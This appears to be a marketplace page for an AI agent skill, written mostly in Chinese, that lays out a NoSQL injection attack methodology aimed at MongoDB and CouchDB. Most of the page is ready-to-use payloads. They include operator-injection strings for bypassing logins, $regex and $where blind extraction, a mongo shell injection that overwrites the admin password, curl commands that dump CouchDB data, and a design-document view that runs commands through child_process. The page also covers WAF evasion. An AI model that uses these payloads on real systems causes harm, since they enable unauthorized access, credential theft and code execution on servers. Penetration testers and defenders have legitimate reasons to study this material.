nosql-injection

$npx mdskill add wgpsec/AboutSecurity/nosql-injection

Bypass authentication and extract data via NoSQL injection.

  • Detects MongoDB and CouchDB targets using JSON bodies or specific operators.
  • Executes operator injection payloads to bypass login checks and retrieve records.
  • Analyzes request headers and parameters to identify vulnerable database configurations.
  • Returns successful authentication or extracted data through modified query logic.

SKILL.md

.github/skills/nosql-injectionView on GitHub ↗
---
name: nosql-injection
description: "NoSQL 注入检测与利用。当目标使用 MongoDB/CouchDB 等 NoSQL 数据库、登录表单使用 JSON body 提交、或参数中出现 $gt/$ne/$regex 等操作符时使用。覆盖操作符注入认证绕过、$regex 盲注数据提取、$where JS 注入、CouchDB 攻击、WAF 绕过"
metadata:
  tags: "nosql,mongodb,couchdb,injection,nosql injection,NoSQL注入,$gt,$ne,$regex,$where,认证绕过,数据提取,operator injection,express,node,json body,login bypass,登录绕过,mongo,pymongo,mongoose,application/json"
  category: "exploit"
---

# NoSQL 注入方法论


NoSQL 数据库(MongoDB 为主)使用结构化查询对象而非 SQL 字符串,但这不意味着安全——当应用直接将用户输入拼接到查询对象中时,攻击者可以注入查询操作符来改变查询逻辑。

## Phase 0: 快速识别

| 信号 | 判断 |
|------|------|
| JSON 格式的登录请求 (`Content-Type: application/json`) | 高概率 MongoDB 后端 |
| Node.js / Express 技术栈 | MongoDB 是 Node.js 最常见的数据库 |
| 错误信息含 `MongoError`、`CastError`、`BSONTypeError` | 确认 MongoDB |
| URL 中有 `mongodb://` 连接字符串 | 确认 MongoDB |
| Python Flask + PyMongo / Mongoose ODM | 确认 MongoDB |
| 参数值接受对象/数组(如 `user[$ne]=x`) | 操作符注入可能 |
| CouchDB `/_all_docs`、`/_find` 端点 | CouchDB 注入 |

## Phase 1: 认证绕过(最高优先级)

NoSQL 注入最常见的利用场景是绕过登录认证。

### 1.1 操作符注入(Operator Injection)

核心思想:将 `{"username": "admin", "password": "xxx"}` 变为 `{"username": "admin", "password": {"$ne": ""}}`,使密码校验永远为真。

**JSON 格式(Content-Type: application/json):**

```json
{"username": "admin", "password": {"$ne": ""}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
```

**URL 编码格式(Content-Type: application/x-www-form-urlencoded):**

```
username=admin&password[$ne]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$gt]=
username[$regex]=^adm&password[$ne]=
```

> 为什么两种格式都要试:Express 的 `qs` 中间件会自动将 `user[$ne]` 解析为 `{user: {$ne: ""}}`,但有些应用只接受 JSON,有些只接受 URL 编码。两种都试才能确保不漏。

### 1.2 快速测试流程

```
1. 正常登录请求 → 记录失败响应(状态码/长度/内容)
2. 替换 password 为 {"$ne": ""} → 对比响应差异
3. 如果 JSON 不行,换 URL 编码: password[$ne]=
4. 如果 $ne 不行,试 $gt、$gte、$exists:true
5. 绕过用户名: username={"$regex": ".*"} 配合 password={"$ne": ""}
```

### 1.3 枚举有效用户名

```json
{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
{"username": {"$regex": "^ad"}, "password": {"$ne": ""}}
{"username": {"$regex": "^adm"}, "password": {"$ne": ""}}
```

逐字符递增,根据响应差异判断用户名是否匹配。

## Phase 2: 数据提取(盲注)

当注入点不在登录场景,或需要提取具体字段值时。

### 2.1 $regex 盲注提取

原理:通过正则逐字符猜测字段值,根据响应差异(true/false、200/401、内容长度)判断字符是否正确。

```json
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^abc"}}
```

**自动化脚本模板** → 读 [references/nosql-payloads.md](references/nosql-payloads.md)

### 2.2 $where JavaScript 注入

`$where` 操作符允许在查询中执行任意 JavaScript(MongoDB 4.x 及以下):

```json
{"$where": "this.username == 'admin' && this.password.match(/^a.*/)"}
```

**条件判断(盲注 oracle):**
```json
{"$where": "function(){return this.password.length > 5}"}
{"$where": "function(){return this.password[0] == 'a'}"}
```

**时间盲注:**
```json
{"$where": "function(){if(this.password.match(/^a.*/)){sleep(3000);return true;}return false;}"}
```

> MongoDB 5.0+ 已禁用 `$where` 中的 JavaScript 执行,但许多生产系统仍运行 4.x。

### 2.3 $lookup 跨集合读取(聚合管道注入)

如果注入点在聚合管道参数中:

```json
[{"$lookup": {"from": "users", "localField": "_id", "foreignField": "_id", "as": "leaked"}}]
```

## Phase 3: 高级利用

### 3.1 MongoDB SSRF(通过 ObjectId)

某些应用会用 ObjectId 的时间戳部分来生成信息:
```
ObjectId("507f1f77bcf86cd799439011")
     ↓ 前 8 位 hex = Unix 时间戳
507f1f77 → 2012-10-17T21:02:31Z
```

### 3.2 MongoDB Shell 注入

当输入被直接拼接到 `mongo` shell 命令中(罕见但致命):

```
'; db.users.find().forEach(printjson); var x='
'; db.users.update({username:"admin"},{$set:{password:"hacked"}}); var x='
```

### 3.3 CouchDB 特有攻击

CouchDB 使用 REST API,注入方式不同:

```bash
# 未授权访问检测
curl http://TARGET:5984/_all_dbs

# Mango 查询注入(/_find 端点)
curl -X POST http://TARGET:5984/dbname/_find \
  -H "Content-Type: application/json" \
  -d '{"selector":{"password":{"$gt":null}},"fields":["_id","username","password"]}'

# 通过 view 函数 RCE(需要 admin)
curl -X PUT http://TARGET:5984/testdb/_design/exploit \
  -d '{"views":{"cmd":{"map":"function(doc){var r=require(\"child_process\").execSync(\"id\");emit(r,1)}"}}}'
```

## Phase 4: 防御绕过

### 4.1 类型转换绕过

某些 WAF 只检查字符串中的 `$` 符号:
```json
// 原始
{"password": {"$ne": ""}}

// Unicode 绕过
{"password": {"\u0024ne": ""}}

// 深层嵌套
{"password": {"$not": {"$eq": "wrong_password"}}}
```

### 4.2 Content-Type 切换

如果 WAF 只检查 JSON 格式:
```
Content-Type: application/x-www-form-urlencoded
password[$ne]=&username=admin
```

反之,如果 WAF 只检查 URL 参数:
```
Content-Type: application/json
{"password": {"$ne": ""}}
```

### 4.3 操作符变体

```json
{"$ne": "x"}        // 不等于
{"$gt": ""}         // 大于空字符串
{"$gte": " "}       // 大于等于空格
{"$exists": true}   // 字段存在
{"$in": ["admin"]}  // 在列表中
{"$nin": [""]}      // 不在列表中
{"$not": {"$eq": "wrong"}}  // 双重否定
```

## 工具推荐

| 工具 | 用途 | 命令 |
|------|------|------|
| **NoSQLMap** | 自动化 NoSQL 注入 | `python nosqlmap.py -u http://TARGET/login -p username,password` |
| **mongosh** | 直接连接测试 | `mongosh mongodb://TARGET:27017` |
| **Burp Intruder** | 操作符 fuzz | 用 payload 列表逐个测试操作符 |

## 决策树

```
发现登录页面 + JSON 请求
  ├── 试 {"password":{"$ne":""}} → 成功?→ 认证绕过 ✅
  ├── 试 password[$ne]= (URL编码) → 成功?→ 认证绕过 ✅
  ├── 两种都失败
  │   ├── 检查是否有 WAF → Phase 4 绕过
  │   ├── 检查是否 MongoDB → 错误信息/指纹
  │   └── 不是 NoSQL → 尝试 SQL 注入
  └── 需要提取数据
      ├── $regex 盲注 → Phase 2.1
      ├── $where JS 注入 → Phase 2.2
      └── 聚合管道 → Phase 2.3
```

## 参考资源

- 完整 payload 表 + 自动化脚本 → [references/nosql-payloads.md](references/nosql-payloads.md)

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|